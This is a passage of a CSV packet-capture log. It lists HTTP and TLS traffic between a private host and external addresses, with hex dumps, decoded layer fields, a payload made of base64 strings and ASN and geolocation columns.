f4344527457324c6c444b4957726a41717a59514c776c66313351413d222c22726f6f33544f5444524c4e644f3365714d6354396d6b69302f666e776e39633467476638415930355957303d222c226c42482b575739674e7a677961346b747632694e53684a4a666b555868497468436b794d4c4d71495370673d222c22395571446e35537a31474172426148396f452b515575347668674b5a7a305030546771394b6476704a53343d222c226764646541515556594f3165765874702b4f5a39483547334f746143795a6e3777596471664c4643595a553d222c2230794f43614e6f54547166655131763078466a74747a454e486e67786178726e724d7852585a57336765553d222c227547624d506975745074506c6948614c47346164586c4137384961644b5444777970674931686632706f553d222c225969646648364d6d663971505a7a745341376d4953507559444f65334d484b6767646441576b53526349493d222c224864365253354d3144307a467a61635455616a546743544b2f542f386533457047534d33324f4933546f553d222c224a3632625a4a505868744f56686f796e65386875475a79446742496142676279777738556c6748375368553d222c227a4f726842667769725241614b79374250466b74536f674639442b436a4a71597956725058385a4a3559773d222c22645261414f516c71443730567a6236466f45323832526f666a79672f774162624339444c4939515a7470673d222c22595541452f4b6457592b7254754e3656385044632f41716177426f437465655a62764d2f4b7a4e7343776f3d222c2258355a4f655a342b5264754f4f6935447a47506b6b783566663570512f4d3650377a394a725334516b52383d222c222f7a537564754b656962594164454f445751384f7854524f384f6c3452723146346777466e7949413032633d222c22444f30686b68533031672f5966316b4142455274516d5276674d715579454f332f6974307067794b3379553d222c22423379462b6777484d636d716b6c744b2f34746943422b41597a542b7165727844626b59764c4d62694f343d222c222b456a39346d50314a51664945594c6241614d4a4f464d6a457263594b7065654e5539624b656c4a6c6c303d222c225634626967762b7a42393776723447745a4c4a676c556c51316e6b4b332b544262544b6f76757062567a6b3d222c225234354d316c7531667a7039766f4b417252664e454138354242753041584b7566472b49635964354647343d222c2235593479556434733832394a345a5148397539694b347930536e334c6635533870302f6c536c4a4b442b383d222c226938614367774374585847413852654c356f646649355a437455536b58433457522f6a4342737a5a4d30383d222c227a796d46757545733279422b45754e3676652f6c2f3437675153496a445a753559693649583564317939413d222c224c4849693258736f646f44647737435a737957474d69334a667561374a706d4b784a65416e466d7a4835553d222c2256746c687064396a6f424668727855354a72422f7a795656795639343059473567686c30766932434659413d222c224147372f52796a4f77395678546e72713930556a524e666c354e4737497748534d364e2f54546b5647706b3d222c224b3155496249505771673858564c78494e64493755764e38745671306f44503450634741633774735534303d225d7d,\",\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\"\",\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\"\",\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\"\",\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\"\",\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\"\",\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\"\",\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\"\",\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\"\",\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\"\",\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\"\",\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\"\",\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\"\",\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\"\",\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\"\",\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\"\",\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\"\",\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\"\",\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\"\",\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\"\",\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\"\",\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\"\",\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\"\",\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\"\",\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\"\",\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\"\",\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\"\",\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\"\",\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\"\",\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\"\",\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\"\",\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\"\",\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\"\",\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\"\",\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\"\",\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\"\",\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\"\",\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\"\",\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\"\",\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\"\",\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\"\",\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\"\",\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\"\"]}\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2016, \"\"id\"\": 22195, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 22228, \"\"src\"\": \"\"194.36.32.201\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64025, \"\"seq\"\": 693313912, \"\"ack\"\": 3508020722, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 36195, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\",\\\"\"OzYc2Mq5bYAdv52qYKb2oGp5DSyeaSYejJgC0kD04MA=\\\"\",\\\"\"UQV6otpISNFpC5WkHhK/eVkiK1FilyfcyNs3yMyCCKQ=\\\"\",\\\"\"9VvYCLCSE8oOe1owOnPSGWqgHsfU3ybYikcEWFQowdk=\\\"\",\\\"\"ijbIboJshOhKNOojEcqm4kImaDGwmMr+MszgzKK06U4=\\\"\",\\\"\"tBgyDl1x36JWWtBm+FuEqhbO5ZU8IPlS009F5D38vZM=\\\"\",\\\"\"I2AkuGM3lq8vTrtJfQ874E7RjqqsUDxv5uW58PAeBgc=\\\"\",\\\"\"UUmQwR1YEZUXjmJSHAkgtD6xPLFROyxzFA1WLI0VxkU=\\\"\",\\\"\"AR8fMlz2ACmfat23hV4dNgq0igH4Ae6GHBgviao+Ftw=\\\"\",\\\"\"2A4uLbDcEpDUz/PyhNZe8J2BVevdH1TR+CSAAF+Vero=\\\"\",\\\"\"Q8b3I6Uac+PqEkGYT/uUSvyuzNYf7nIPCnGH6i9ESdA=\\\"\",\\\"\"a2aU2Yaol3P+MqkpEiJ+IEtm6ji7uzXsS7jBPCRZsgU=\\\"\",\\\"\"7TPSdljodqy1q2hhmToe4uQYcrwYWTR+Gpz1GxNLM3M=\\\"\",\\\"\"LcEyR6umS4rpg+DlYFomY3sexL15TxB0ODfpvvZ8jTk=\\\"\",\\\"\"HRgxKlbKmRkYGOHzx0cdOqlbHt8YILidAHzhH9EjhXw=\\\"\",\\\"\"9lRmaSC3EavcLdk9GWL0vG3QHsWoT/dsdX8maoro/NA=\\\"\",\\\"\"sWcIf/YdKy8qAUfoCDRtW2LlDKIWrjAqzYQLwlf13QA=\\\"\",\\\"\"roo3TOTDRLNdO3eqMcT9mki0/fnwn9c4gGf8AY05YW0=\\\"\",\\\"\"lBH+WW9gNzgya4ktv2iNShJJfkUXhIthCkyMLMqISpg=\\\"\",\\\"\"9UqDn5Sz1GArBaH9oE+QUu4vhgKZz0P0Tgq9KdvpJS4=\\\"\",\\\"\"gddeAQUVYO1evXtp+OZ9H5G3OtaCyZn7wYdqfLFCYZU=\\\"\",\\\"\"0yOCaNoTTqfeQ1v0xFjttzENHngxaxrnrMxRXZW3geU=\\\"\",\\\"\"uGbMPiutPtPliHaLG4adXlA78IadKTDwypgI1hf2poU=\\\"\",\\\"\"YidfH6Mmf9qPZztSA7mISPuYDOe3MHKggddAWkSRcII=\\\"\",\\\"\"Hd6RS5M1D0zFzacTUajTgCTK/T/8e3EpGSM32OI3ToU=\\\"\",\\\"\"J62bZJPXhtOVhoyne8huGZyDgBIaBgbyww8UlgH7ShU=\\\"\",\\\"\"zOrhBfwirRAaKy7BPFktSogF9D+CjJqYyVrPX8ZJ5Yw=\\\"\",\\\"\"dRaAOQlqD70Vzb6FoE282Rofjyg/wAbbC9DLI9QZtpg=\\\"\",\\\"\"YUAE/KdWY+rTuN6V8PDc/AqawBoCteeZbvM/KzNsCwo=\\\"\",\\\"\"X5ZOeZ4+RduOOi5DzGPkkx5ff5pQ/M6P7z9JrS4QkR8=\\\"\",\\\"\"/zSuduKeibYAdEODWQ8OxTRO8Ol4Rr1F4gwFnyIA02c=\\\"\",\\\"\"DO0hkhS01g/Yf1kABERtQmRvgMqUyEO3/it0pgyK3yU=\\\"\",\\\"\"B3yF+gwHMcmqkltK/4tiCB+AYzT+qerxDbkYvLMbiO4=\\\"\",\\\"\"+Ej94mP1JQfIEYLbAaMJOFMjErcYKpeeNU9bKelJll0=\\\"\",\\\"\"V4bigv+zB97vr4GtZLJglUlQ1nkK3+TBbTKovupbVzk=\\\"\",\\\"\"R45M1lu1fzp9voKArRfNEA85BBu0AXKufG+IcYd5FG4=\\\"\",\\\"\"5Y4yUd4s829J4ZQH9u9iK4y0Sn3Lf5S8p0/lSlJKD+8=\\\"\",\\\"\"i8aCgwCtXXGA8ReL5odfI5ZCtUSkXC4WR/jCBszZM08=\\\"\",\\\"\"zymFuuEs2yB+EuN6ve/l/47gQSIjDZu5Yi6IX5d1y9A=\\\"\",\\\"\"LHIi2XsodoDdw7CZsyWGMi3Jfua7JpmKxJeAnFmzH5U=\\\"\",\\\"\"Vtlhpd9joBFhrxU5JrB/zyVVyV940YG5ghl0vi2CFYA=\\\"\",\\\"\"AG7/RyjOw9VxTnrq90UjRNfl5NG7IwHSM6N/TTkVGpk=\\\"\",\\\"\"K1UIbIPWqg8XVLxINdI7UvN8tVq0oDP4PcGAc7tsU40=\\\"\"]}\"\"}}]\"\n2026-06-14 14:28:48.650559,117,TCP 10.152.152.11:64025 -> 194.36.32.201:80,10.152.152.11,194.36.32.201,64025,80,TCP,Internal,Private Network,,,,,,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=3508020722 Ack=693315888,bc24112907bbbc2411360d0c080045000028d38640008006a1b80a98980bc22420c9fa190050d11825f22953293050100402e2490000,\".$.)...$.6\n...E..(..@.....\n....$ ....P..%.)S)0P....I..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 54150, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 41400, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"194.36.32.201\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64025, \"\"dport\"\": 80, \"\"seq\"\": 3508020722, \"\"ack\"\": 693315888, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1026, \"\"chksum\"\": 57929, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:49.411533,118,TCP 52.97.201.82:443 -> 10.152.152.11:64012,52.97.201.82,10.152.152.11,443,64012,TCP,The Netherlands,Amsterdam,8075,Microsoft Corporation,52.3759,4.8975,52.97.201.64/26,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2330697090 Ack=1256294174,bc2411360d0cbc24112907bb0800450004822aa5400040066b7a3461c9520a98980b01bbfa0c8aeb9d824ae1871e5018003fa4cb000017030303560000000000000003bfdae7eb2e991036a66040f546f6741375f618a2e3db8297cad21708cf87171333537921cb1bf158c5b46f88f70826e53bf43020c7a58fd88a03fea5cefe3d979acc71c93843e772014d984b9359e836f2a34a61c1dc175837c75d42be94a11bbab919386482c7192788f3c875bc4d8a3614d0cbe30ae6fe3a94c5b0916f0c407cb8ca9e30f4b2c49602deaa087ef7cc156d4e0614a47719c55a5a2eff1769c2bad23b22b09ac2247a27a121f4b93e1b277ac4b8af76189b7625b24ce5cf3c8f1a9f7c80ab94e1105622c0691cd4e7d52d204b1f60226c782909854956cf4cba3f5be23515a7282ef69ee4954bed9565f45f1339c2158de242344abc5c5c6f9dfb10b013b00553a593f849f31d6eb63481b015c7d40582146ad0b6d5b54b180a330848915c91f50cc6ac02b672d26fa47fdf1a4fc402e038818b13190e2c08566283f177f5b25d2b79259e10b04c41a28157ff6378b5060a3673f10db018fa668b8c613090c37a9adb5d6c77677ad91f3166c5ac7232a9afd5ecaf555a1042e24d055c526fc7501f5a313ae9be0efa082992a10a591823ef6b9b59b8122af033fd9a3671bd45d26a5cc8266a78e119bf30ed5c2b066472b722caf2d62937f5c5338d92a7bc8f74f5b4d1bbb922584b765b0bd7af742041075d623a8602e57a88ecaac50848a5c4062a83927b07678e774e5d43f034d07598383e7c833e8fd0c9787d21c5e58cb3691a2a02acee1ac0eba17eca85721c7f17cf18e0cf20b9ae60029d2b01b0a2b0f2bcdfd25f0fe98d5a9ef96e04b41bb40a495876c70cd59373312336c097ff73afdc1aaf52c1907e3131f4228618113f5210eea3d73a359c4102f200298fd4216e246fcc465801dd486d6c696e3fa26bf5a41870f3cf950dd80f5bf957590f22bdc7657d0f51d34d38a005b217e485aa738dba321e9f5a84843085f65b27417d16ccb77c502a0b97c4942b7ef6adb1656b62c6ede5afe278f3a48bf85cb7074f29e3c292c758b3bfcdf6914ef828dda2daf9931991f17a02c7f1cd104647e70c17eebba7d64fbfc4ccddbd55d882e8501676b1280d48cebdb35a29db41e72d7cfb5b8213e7db184cf3eca5837e846ca597f9a0bf8fbaa61dced1038c584ed4ea402bc79ddcf8a910417c809a486d304c1f7166f89b0c11308ab6651893d303dc18d5c795eca09a17030300d40000000000000004f84b46f502c801e96dfb948e55fff0f286455777b591f7a4ae01084151e50355c6fc2e6c410aa063ff5b1411bd83d47b3707749e71f5beced8d938816978e54d54a4715f2a58d2074850b750924befca25eee755be55f00cbcf18326270f79bf18a24f72a85c1ab00664d2bb4210a8f267fdf467f4e6bea009cff06521d7f62238cc906747eced5f8cfec3dc6d003780a9e505d7fd80364fbe3c8d6b458f86ea6ad65ab530b670507ab3044ec938a46b73ff1002a8999cd3b2c8dba8a8254b10b71c722c8479501934e5c17717030300210000000000000005bf44b73b1c23732d5b51f41ce13ac19719f820eb9b32a3acb9,\".$.6\n..$.)....E...*.@.@.kz4a.R\n...........J...P..?........V...............6.`@.F.t.u...............3Sy!...X..o...&.;.0 ..........=...q.8C.r.M.K.Y.6..Ja...X7.]B.......8d...'...u.M.6....\n..:....o.@|...0........~...mN...w..ZZ...i...;\"\"...$z'.!..>.'z...v..v%.L..<...|.....V\"\".i....- K.`\"\"lx)\t.IV.L.?[.5..(.....K..e._.9....B4J.\\\\o.......S...I..n.4........j....K.\n3.H.\\.......r.o....O...8.....,.Vb..w..]+y%...LA..W.cx..\n6s.\n...f..a0..z..]lwgz..1f..r2.....UZ.B.M.\\Ro.P.Z1:.....)..\nY.#.k.Y..*.3..6q.E.j\\.&jx...0.\\+.dr.\"\"...)7..3.....t.....\"\"XKv[...t A.]b:...z.....H...*..{.g.wN]C.4.u.8>|.>...x}!....i.*.......~..r....... ..`..+........_...Z..n....\nIXv....s1#6...s....R..~11.\"\"...?R....:5.A...)..!n$o.FX..Hmlin?.k...p...\n..[.WY.\"\"..e}.Q.M8.......s..2..Z..0..['A}...|P*....+~...ekb.....x....\\..O)....X.....N.(........z.....FG.......O.....U...P.v.(\nH...Z).A.-|.[.....L....~.l.............XN..@+......A|..Hm0L.qf....0..e..........................KF.....m...U....EWw.......AQ..U...lA\n.c.[.....{7.t.q.....8.ix.MT.q_*X..HP.P.K..%..U.U.....&'.y...Or.\\...d..B...g..g....\t..e!..\"\"8..gG.._....m.7.......6O.<.kE...j.Z.0.pPz..N.8.ks............%K...r,.yP.4..w....!.........D.;.#s-[Q...:.... ..2...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 1154, \"\"id\"\": 10917, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 27514, \"\"src\"\": \"\"52.97.201.82\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64012, \"\"seq\"\": 2330697090, \"\"ack\"\": 1256294174, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 42187, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 854, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\xbf\\\\xda\\\\xe7\\\\xeb.\\\\x99\\\\x106\\\\xa6`@\\\\xf5F\\\\xf6t\\\\x13u\\\\xf6\\\\x18\\\\xa2\\\\xe3\\\\xdb\\\\x82\\\\x97\\\\xca\\\\xd2\\\\x17\\\\x08\\\\xcf\\\\x87\\\\x17\\\\x133Sy!\\\\xcb\\\\x1b\\\\xf1X\\\\xc5\\\\xb4o\\\\x88\\\\xf7\\\\x08&\\\\xe5;\\\\xf40 \\\\xc7\\\\xa5\\\\x8f\\\\xd8\\\\x8a\\\\x03\\\\xfe\\\\xa5\\\\xce\\\\xfe=\\\\x97\\\\x9a\\\\xccq\\\\xc98C\\\\xe7r\\\\x01M\\\\x98K\\\\x93Y\\\\xe86\\\\xf2\\\\xa3Ja\\\\xc1\\\\xdc\\\\x17X7\\\\xc7]B\\\\xbe\\\\x94\\\\xa1\\\\x1b\\\\xba\\\\xb9\\\\x198d\\\\x82\\\\xc7\\\\x19\\\\'\\\\x88\\\\xf3\\\\xc8u\\\\xbcM\\\\x8a6\\\\x14\\\\xd0\\\\xcb\\\\xe3\\\\n\\\\xe6\\\\xfe:\\\\x94\\\\xc5\\\\xb0\\\\x91o\\\\x0c@|\\\\xb8\\\\xca\\\\x9e0\\\\xf4\\\\xb2\\\\xc4\\\\x96\\\\x02\\\\xde\\\\xaa\\\\x08~\\\\xf7\\\\xcc\\\\x15mN\\\\x06\\\\x14\\\\xa4w\\\\x19\\\\xc5ZZ.\\\\xff\\\\x17i\\\\xc2\\\\xba\\\\xd2;\\\"\"\\\\xb0\\\\x9a\\\\xc2$z\\\\'\\\\xa1!\\\\xf4\\\\xb9>\\\\x1b\\\\'z\\\\xc4\\\\xb8\\\\xafv\\\\x18\\\\x9bv%\\\\xb2L\\\\xe5\\\\xcf<\\\\x8f\\\\x1a\\\\x9f|\\\\x80\\\\xab\\\\x94\\\\xe1\\\\x10V\\\"\"\\\\xc0i\\\\x1c\\\\xd4\\\\xe7\\\\xd5- K\\\\x1f`\\\"\"lx)\\\\t\\\\x85IV\\\\xcfL\\\\xba?[\\\\xe25\\\\x15\\\\xa7(.\\\\xf6\\\\x9e\\\\xe4\\\\x95K\\\\xed\\\\x95e\\\\xf4_\\\\x139\\\\xc2\\\\x15\\\\x8d\\\\xe2B4J\\\\xbc\\\\\\\\\\\\\\\\o\\\\x9d\\\\xfb\\\\x10\\\\xb0\\\\x13\\\\xb0\\\\x05S\\\\xa5\\\\x93\\\\xf8I\\\\xf3\\\\x1dn\\\\xb64\\\\x81\\\\xb0\\\\x15\\\\xc7\\\\xd4\\\\x05\\\\x82\\\\x14j\\\\xd0\\\\xb6\\\\xd5\\\\xb5K\\\\x18\\\\n3\\\\x08H\\\\x91\\\\\\\\\\\\x91\\\\xf5\\\\x0c\\\\xc6\\\\xac\\\\x02\\\\xb6r\\\\xd2o\\\\xa4\\\\x7f\\\\xdf\\\\x1aO\\\\xc4\\\\x02\\\\xe08\\\\x81\\\\x8b\\\\x13\\\\x19\\\\x0e,\\\\x08Vb\\\\x83\\\\xf1w\\\\xf5\\\\xb2]+y%\\\\x9e\\\\x10\\\\xb0LA\\\\xa2\\\\x81W\\\\xffcx\\\\xb5\\\\x06\\\\n6s\\\\xf1\\\\r\\\\xb0\\\\x18\\\\xfaf\\\\x8b\\\\x8ca0\\\\x90\\\\xc3z\\\\x9a\\\\xdb]lwgz\\\\xd9\\\\x1f1f\\\\xc5\\\\xacr2\\\\xa9\\\\xaf\\\\xd5\\\\xec\\\\xafUZ\\\\x10B\\\\xe2M\\\\x05\\\\\\\\Ro\\\\xc7P\\\\x1fZ1:\\\\xe9\\\\xbe\\\\x0e\\\\xfa\\\\x08)\\\\x92\\\\xa1\\\\nY\\\\x18#\\\\xefk\\\\x9bY\\\\xb8\\\\x12*\\\\xf03\\\\xfd\\\\x9a6q\\\\xbdE\\\\xd2j\\\\\\\\\\\\xc8&jx\\\\xe1\\\\x19\\\\xbf0\\\\xed\\\\\\\\+\\\\x06dr\\\\xb7\\\"\"\\\\xca\\\\xf2\\\\xd6)7\\\\xf5\\\\xc53\\\\x8d\\\\x92\\\\xa7\\\\xbc\\\\x8ft\\\\xf5\\\\xb4\\\\xd1\\\\xbb\\\\xb9\\\"\"XKv[\\\\x0b\\\\xd7\\\\xaft A\\\\x07]b:\\\\x86\\\\x02\\\\xe5z\\\\x88\\\\xec\\\\xaa\\\\xc5\\\\x08H\\\\xa5\\\\xc4\\\\x06*\\\\x83\\\\x92{\\\\x07g\\\\x8ewN]C\\\\xf04\\\\xd0u\\\\x988>|\\\\x83>\\\\x8f\\\\xd0\\\\xc9x}!\\\\xc5\\\\xe5\\\\x8c\\\\xb3i\\\\x1a*\\\\x02\\\\xac\\\\xee\\\\x1a\\\\xc0\\\\xeb\\\\xa1~\\\\xca\\\\x85r\\\\x1c\\\\x7f\\\\x17\\\\xcf\\\\x18\\\\xe0\\\\xcf \\\\xb9\\\\xae`\\\\x02\\\\x9d+\\\\x01\\\\xb0\\\\xa2\\\\xb0\\\\xf2\\\\xbc\\\\xdf\\\\xd2_\\\\x0f\\\\xe9\\\\x8dZ\\\\x9e\\\\xf9n\\\\x04\\\\xb4\\\\x1b\\\\xb4\\\\nIXv\\\\xc7\\\\x0c\\\\xd5\\\\x93s1#6\\\\xc0\\\\x97\\\\xffs\\\\xaf\\\\xdc\\\\x1a\\\\xafR\\\\xc1\\\\x90~11\\\\xf4\\\"\"\\\\x86\\\\x18\\\\x11?R\\\\x10\\\\xee\\\\xa3\\\\xd7:5\\\\x9cA\\\\x02\\\\xf2\\\\x00)\\\\x8f\\\\xd4!n$o\\\\xccFX\\\\x01\\\\xddHmlin?\\\\xa2k\\\\xf5\\\\xa4\\\\x18p\\\\xf3\\\\xcf\\\\x95\\\\r\\\\xd8\\\\x0f[\\\\xf9WY\\\\x0f\\\"\"\\\\xbd\\\\xc7e}\\\\x0fQ\\\\xd3M8\\\\xa0\\\\x05\\\\xb2\\\\x17\\\\xe4\\\\x85\\\\xaas\\\\x8d\\\\xba2\\\\x1e\\\\x9fZ\\\\x84\\\\x840\\\\x85\\\\xf6[\\\\'A}\\\\x16\\\\xcc\\\\xb7|P*\\\\x0b\\\\x97\\\\xc4\\\\x94+~\\\\xf6\\\\xad\\\\xb1ekb\\\\xc6\\\\xed\\\\xe5\\\\xaf\\\\xe2x\\\\xf3\\\\xa4\\\\x8b\\\\xf8\\\\\\\\\\\\xb7\\\\x07O)\\\\xe3\\\\xc2\\\\x92\\\\xc7X\\\\xb3\\\\xbf\\\\xcd\\\\xf6\\\\x91N\\\\xf8(\\\\xdd\\\\xa2\\\\xda\\\\xf9\\\\x93\\\\x19\\\\x91\\\\xf1z\\\\x02\\\\xc7\\\\xf1\\\\xcd\\\\x10FG\\\\xe7\\\\x0c\\\\x17\\\\xee\\\\xbb\\\\xa7\\\\xd6O\\\\xbf\\\\xc4\\\\xcc\\\\xdd\\\\xbdU\\\\xd8\\\\x82\\\\xe8P\\\\x16v\\\\xb1(\\\\rH\\\\xce\\\\xbd\\\\xb3Z)\\\\xdbA\\\\xe7-|\\\\xfb[\\\\x82\\\\x13\\\\xe7\\\\xdb\\\\x18L\\\\xf3\\\\xec\\\\xa5\\\\x83~\\\\x84l\\\\xa5\\\\x97\\\\xf9\\\\xa0\\\\xbf\\\\x8f\\\\xba\\\\xa6\\\\x1d\\\\xce\\\\xd1\\\\x03\\\\x8cXN\\\\xd4\\\\xea@+\\\\xc7\\\\x9d\\\\xdc\\\\xf8\\\\xa9\\\\x10A|\\\\x80\\\\x9aHm0L\\\\x1fqf\\\\xf8\\\\x9b\\\\x0c\\\\x110\\\\x8a\\\\xb6e\\\\x18\\\\x93\\\\xd3\\\\x03\\\\xdc\\\\x18\\\\xd5\\\\xc7\\\\x95\\\\xec\\\\xa0\\\\x9a' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 212, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04\\\\xf8KF\\\\xf5\\\\x02\\\\xc8\\\\x01\\\\xe9m\\\\xfb\\\\x94\\\\x8eU\\\\xff\\\\xf0\\\\xf2\\\\x86EWw\\\\xb5\\\\x91\\\\xf7\\\\xa4\\\\xae\\\\x01\\\\x08AQ\\\\xe5\\\\x03U\\\\xc6\\\\xfc.lA\\\\n\\\\xa0c\\\\xff[\\\\x14\\\\x11\\\\xbd\\\\x83\\\\xd4{7\\\\x07t\\\\x9eq\\\\xf5\\\\xbe\\\\xce\\\\xd8\\\\xd98\\\\x81ix\\\\xe5MT\\\\xa4q_*X\\\\xd2\\\\x07HP\\\\xb7P\\\\x92K\\\\xef\\\\xca%\\\\xee\\\\xe7U\\\\xbeU\\\\xf0\\\\x0c\\\\xbc\\\\xf1\\\\x83&\\\\'\\\\x0fy\\\\xbf\\\\x18\\\\xa2Or\\\\xa8\\\\\\\\\\\\x1a\\\\xb0\\\\x06d\\\\xd2\\\\xbbB\\\\x10\\\\xa8\\\\xf2g\\\\xfd\\\\xf4g\\\\xf4\\\\xe6\\\\xbe\\\\xa0\\\\t\\\\xcf\\\\xf0e!\\\\xd7\\\\xf6\\\"\"8\\\\xcc\\\\x90gG\\\\xec\\\\xed_\